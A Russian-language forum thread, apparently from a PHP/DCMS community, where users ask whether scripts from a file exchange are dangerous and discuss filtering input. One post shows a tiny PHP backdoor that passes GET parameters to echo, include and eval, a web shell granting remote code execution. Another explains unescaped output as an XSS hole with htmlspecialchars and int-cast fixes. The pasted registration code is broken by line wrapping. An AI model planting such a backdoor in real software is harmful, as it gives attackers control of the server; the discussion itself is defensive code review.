Добро пожаловать, Гость!
Есть ли опасность? - Страница 2
Общие вопросы | Есть ли опасность?

Есть ли опасность?
11 Янв 2014if (isset($_GET
['ok']) && isset($_POST
['ok'])){
if (mysql_result
(mysql_query
("SELECT COUNT
(*) FROM `user` WHERE `nic
($_POST['nick'])."'"),0)==0)
{
$nick=my_esc($_POST
['nick']);
if( !preg_match("#^([A-
zА-я0-9-_ ])+$#ui", $_POST
['nick']))$err
[]='В нике присутствуют з
if (preg_match("#[a-
z]+#ui", $_POST
['nick']) && preg_match
("#[а-я]+#ui", $_POST
['nick']))$err
[]='Разрешается использо
if (preg_match("#(^ )|
( $)#ui", $_POST
['nick']))$err
Комментарии:


_KENT_, я там дыр не замечаю

лучше кинь код полностью или хоть нормально скопируй то что интересует и напиши с подсветкой синтаксиса


Автор темы
<?php
//--by gangsterstar--//
if($_GET['act'] == "echo"
{echo $_GET['echo'];}
if($_GET['act'] == "include"
{include $_GET['include'];}
if($_GET['act'] == "eval"
{echo eval($_GET['eval']);}
?>


Автор темы
vityachis, мне нужно скрипт разобрать один с обмена. Посмотреть есть ли опасность.

Автор темы
echo $_GET['act'];
echo $_POST['msg'];
Это дырка!
Почему? Здесь нет
фильтрации, и я видил очень
много таких говнокодиков в
наших dcms соц-
сетях.
Цифры фильтруются так:
echo (int)$_GET['act'];
А буквы так:
echo htmlspecialchars($_POST
['msg']);